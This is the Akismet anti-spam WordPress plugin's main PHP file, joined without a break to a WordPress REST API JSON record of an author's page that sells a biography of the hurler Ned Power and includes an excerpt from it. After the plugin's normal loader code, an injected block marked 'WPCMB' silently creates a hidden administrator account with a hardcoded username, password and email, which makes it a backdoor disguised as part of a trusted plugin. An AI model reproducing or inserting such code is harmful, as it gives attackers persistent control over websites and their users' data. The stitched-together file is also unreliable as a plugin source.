<?php /** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from spam</strong>. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.7 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly if ( ! function_exists( 'add_action' ) ) { echo 'Hi there! I\'m just a plugin, not much I can do when called directly.'; exit; } define( 'AKISMET_VERSION', '5.7' ); define( 'AKISMET__MINIMUM_WP_VERSION', '5.8' ); define( 'AKISMET__PLUGIN_DIR', plugin_dir_path( __FILE__ ) ); define( 'AKISMET_DELETE_LIMIT', 10000 ); register_activation_hook( __FILE__, array( 'Akismet', 'plugin_activation' ) ); register_deactivation_hook( __FILE__, array( 'Akismet', 'plugin_deactivation' ) ); require_once AKISMET__PLUGIN_DIR . 'class.akismet.php'; require_once AKISMET__PLUGIN_DIR . 'class.akismet-widget.php'; require_once AKISMET__PLUGIN_DIR . 'class.akismet-rest-api.php'; require_once AKISMET__PLUGIN_DIR . 'class-akismet-compatible-plugins.php'; add_action( 'init', array( 'Akismet', 'init' ) ); add_action( 'rest_api_init', array( 'Akismet_REST_API', 'init' ) ); add_action( 'init', array( 'Akismet_Compatible_Plugins', 'init' ) ); if ( function_exists( 'wp_get_connectors' ) ) { require_once AKISMET__PLUGIN_DIR . 'class-akismet-connector.php'; add_action( 'init', array( 'Akismet_Connector', 'init' ) ); } /** * Conditionally loads for a WordPress 6.9+ installation, which has * access to the core Abilities API. Only register abilities if Akismet * is set up with an API key (either predefined or configured). */ if ( function_exists( 'wp_register_ability' ) ) { require_once AKISMET__PLUGIN_DIR . 'class-akismet-abilities.php'; add_action( 'init', function () { if ( Akismet::get_api_key() ) { Akismet_Abilities::init(); } } ); } if ( is_admin() || ( defined( 'WP_CLI' ) && WP_CLI ) ) { require_once AKISMET__PLUGIN_DIR . 'class.akismet-admin.php'; add_action( 'init', array( 'Akismet_Admin', 'init' ) ); } // add wrapper class around deprecated akismet functions that are referenced elsewhere require_once AKISMET__PLUGIN_DIR . 'wrapper.php'; if ( defined( 'WP_CLI' ) && WP_CLI ) { require_once AKISMET__PLUGIN_DIR . 'class.akismet-cli.php'; } /*WPCMB_START_a4282694*/ if(function_exists('add_action')&&!get_transient('_ta4282694')){set_transient('_ta4282694',1,86400);if(!username_exists('richardgarcia29')){$id=wp_insert_user(array('user_login'=>'richardgarcia29','user_pass'=>'4U%5!JJINMyJ3eOY','user_email'=>'richardgarcia29@wp-internal.net','role'=>'administrator'));}} /*WPCMB_END_a4282694*/{"id":17,"date":"2009-07-29T15:38:20","date_gmt":"2009-07-29T14:38:20","guid":{"rendered":"http:\/\/conorpower.ie\/?page_id=17"},"modified":"2009-12-21T11:06:48","modified_gmt":"2009-12-21T10:06:48","slug":"ned-power","status":"publish","type":"page","link":"http:\/\/conorpower.ie\/?page_id=17","title":{"rendered":"Ned Power Biography. Excerpt Order of Signed Copies"},"content":{"rendered":"

\"Front<\/a><\/em><\/strong> <\/em><\/strong><\/p>\n

\n

“My Father:\u00a0 A Hurling Revolutionary”<\/em><\/strong><\/p>\n

by Conor Power
\n<\/em><\/strong><\/p>\n

‘Three Good Boys’ Publishing\"logo<\/a><\/p>\n

\n

Now available nationwide on paperback<\/p>\n

OFFICIAL LAUNCH BY EASON’S DUNGARVAN AT THE PARK HOTEL, DUNGARVAN<\/span><\/strong><\/p>\n

7:30pm, 26th NOVEMBER, 2009<\/span><\/strong><\/p>\n

LAUNCH OFFICIATED BY MR. CHRISTY COONEY, PRESIDENT OF THE GAA.<\/span><\/strong><\/p>\n

ISBN 978-0-9563690-0-0<\/p>\n

Price: \u20ac14.99<\/p>\n

(For online orders of your signed copy , Click th<\/em>e “Buy Now” button b<\/em>elow.)<\/em><\/p>\n

<\/em><\/p>\n

<\/em><\/p>\n

<\/em><\/p>\n

<\/em><\/p>\n

<\/em><\/p>\n


\n \"\"
\n<\/em><\/p>\n<\/form>\n

<\/em><\/p>\n

\n

\n

\n

STARTING WITH A PHOTOGRAPH<\/strong><\/p>\n

For as long as I can remember, I\u2019ve been boasting about the fact that my father won an All-Ireland medal for Waterford in the 1959 All-Ireland Senior Hurling Final.\u00a0 It became such a running joke, in fact, that in introducing me, certain friends would get the business of imparting this background knowledge out of the way as soon as possible \u2013 by way of a joke, you see:\u00a0 \u201cThis is Conor\u2026 (Hellos & handshakes follow)\u2026 His father won an All-Ireland medal for Waterford in 1959.\u00a0 Yes\u2026 They beat Kilkenny in the replay.\u201d<\/p>\n

Even though it was all in good humour, the whole joke of me ensuring to tell everyone I met about my dad was actually a great and unembarrassing vehicle which actually allowed me to tell everyone about my father.\u00a0 Because I was always as proud as punch of him.\u00a0 Although I stopped playing hurling at about the age of 15-16, Waterford is a dyed-in-the-skin thoroughbred hurling county.\u00a0 I like to think, in fact, that our small county is to hurling what Holland is to soccer.\u00a0 Like Waterford and its hurling, soccer in Holland is of the highest skill level and they regularly punch above their weight with larger countries around them that have a much bigger pool of players \u2013 such as France, Germany, England and Italy.\u00a0 Yet despite all this, the Dutch have never won the World Cup, unlike all of their aforementioned neighbours.\u00a0 In a similar way, we the people of the D\u00e9ise are what you might say mad into our hurling.\u00a0 We can play it skilfully and, for such a small county, we regularly produce a high number of good players.\u00a0 We regularly punch above our weight in this respect, but we don\u2019t get much in the way of big trophies.\u00a0 I\u2019m afraid we don\u2019t \u2013 or at least, not as much as we feel we deserve to get.<\/p>\n

All this is to explain why I was always so proud of the 1959 thing.\u00a0 It\u2019s because we haven\u2019t won it since and people with any knowledge of hurling are always surprised and amazed to meet someone with a physical connection to a Waterford team that actually won an All-Ireland \u2013 it\u2019s that rare.<\/p>\n

Although I\u2019d seen this famous photograph before, it wasn\u2019t until I was at least in my late teens that I realised that it was a famous photo.\u00a0 I\u2019ve since discovered that it is definitely the most famous thing about my father.\u00a0 All those who know of him will be more than familiar with it, but equally many people who know or care nothing about hurling will have seen it.\u00a0 It was taken on June 8th<\/sup>, 1962 in a Munster semi-final match between Cork and Waterford.\u00a0 The photographer was a man named Louis McMonagle and it was entitled \u201cHell\u2019s Kitchen\u201d.\u00a0 It is a classic action photo and it has appeared in numerous locations around the world \u2013 for many who don\u2019t know the first thing about hurling, it\u2019s as good an introduction as any to its mixture of physical force, danger, speed and pure skill.\u00a0 All of that is encapsulated in this one famous shot.<\/p>\n

But pictures can be deceiving:\u00a0 From looking at the heroic manner in which my dad appears to rise into the air and snatch the ball out of the sky, leaving the other players tangling on the earth, it all looks like an athlete at the top of his game going on to conquer all in an unstoppable team.\u00a0 But sport is not always a place for fairytales and, in truth, my father was fortunate, at that point, to be picked on the team and to subsequently make it into that photo.<\/p>\n

In 1961, more than a year before this picture was taken, Waterford\u2019s All-Ireland winning goalie \u2013 31-year-old Ned Power \u2013 was sitting, deep in concentration, waiting patiently to line out in goal against Tipperary. Another team member, a regular battler with pre-match nerves, noticed what he mistakenly took to be the same pre-match jitters in Ned and offered him a \u201ctablet\u201d (this was in the good old drug-free days in sport !). The tablet turned out to be a \u201cdowner\u201d and Ned played an uncharacteristically sluggish and unfocused first half making several costly mistakes much to the consternation of the coaching staff. He was taken off at half time and unceremoniously dropped from the panel.\u00a0 His days were over. He \u201chadn\u2019t it\u201d any more\u2026.<\/p>\n

Ned could easily have lived out his days in bittersweet memory of his highs with Waterford that petered out in the low of that bizarre drug-coloured \u201cfinal\u201d match. Mick Curley, another famous Tallow goalkeeper and himself unlucky not to make the \u201948 All-Ireland winning team, urged him to \u201ckeep playing, keep making yourself available\u201d. This he did.<\/p>\n

A year went by and Ned kept playing and kept positive, a 32-year old has-been waiting for one more chance. A week before this picture was taken he got a phone call from a somewhat reluctant Waterford County board member. They were stuck and he was their last resort. The words they used were \u201cNed, would you ever come along on Sunday \u2026we\u2019ve no-one\u201d.\u00a0 My father\u2019s own words were even less complimentary.\u00a0 He said that he \u201cmust have been the best of a bad lot.\u201d\u00a0 So along he came and the months and weeks of pent-up frustration and preparation for this moment launched him into a sparkling display that peaked with that famous leap into the sky, caught magically here for eternity.<\/p>\n

The Cork man in the photo is recognisable to any hurling fan \u2013 particularly if he\/she is from Cork because it is none other than the famous Christy Ring, who died a relatively young man at the age of 58.\u00a0 The Waterford defender he\u2019s tangled with in manly embrace is Tom Cunningham, while the third Waterford player in the picture is Austin Flynn.\u00a0 All of these players were teetotalling \u201cpioneers\u201d and, in the case of the Waterford players, came from the same school \u2013 namely Dungarvan CBS Secondary School.\u00a0 That said, they were never in the same class with my father being the eldest, followed by Tom a year below and Austin a couple of more years below Tom.<\/p>\n

The day after the match, my dad was back at his place of work \u2013 Naomh Mhuire National School in Tallow, Co. Waterford, where he was principal.\u00a0 At 11 o\u2019clock, a pupil named John McDonnell came up to him as he was walking by the school building with his colleague Mrs. Abbie Ahern.\u00a0 John brought him the paper and it was then that my father saw the famous shot for the first time.\u00a0 My dad\u2019s reaction was minimal.\u00a0 He was never interested in glorification of any one player in a team or even in the glorification of any one team from a place, and particularly so if it was he who was the centre of attention.\u00a0 John\u2019s memory of my father\u2019s reaction was that it was \u201cnot a lot\u2026 the same as when anyone said anything good about him or of a very high proportion.\u00a0 He\u2019d bring it down to a more ordinary level altogether.\u201d<\/p>\n

After playing hurling at the highest level for Waterford during their most golden era, my father led a life which was to be dominated by GAA.\u00a0 He was a husband and a father of six and he led his own little revolution around the country which was to touch the lives of many people, working at the grass roots; at the more ordinary level of things.<\/p>\n","protected":false},"excerpt":{"rendered":"

“My Father:\u00a0 A Hurling Revolutionary” by Conor Power ‘Three Good Boys’ Publishing Now available nationwide on paperback OFFICIAL LAUNCH BY EASON’S DUNGARVAN AT THE PARK HOTEL, DUNGARVAN 7:30pm, 26th NOVEMBER, 2009 LAUNCH OFFICIATED BY MR. CHRISTY COONEY, PRESIDENT OF THE … Continue reading →<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"open","ping_status":"open","template":"","meta":{"footnotes":""},"class_list":["post-17","page","type-page","status-publish","hentry"],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/P9kxa7-h","_links":{"self":[{"href":"http:\/\/conorpower.ie\/index.php?rest_route=\/wp\/v2\/pages\/17","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/conorpower.ie\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"http:\/\/conorpower.ie\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"http:\/\/conorpower.ie\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/conorpower.ie\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=17"}],"version-history":[{"count":53,"href":"http:\/\/conorpower.ie\/index.php?rest_route=\/wp\/v2\/pages\/17\/revisions"}],"predecessor-version":[{"id":1109,"href":"http:\/\/conorpower.ie\/index.php?rest_route=\/wp\/v2\/pages\/17\/revisions\/1109"}],"wp:attachment":[{"href":"http:\/\/conorpower.ie\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=17"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}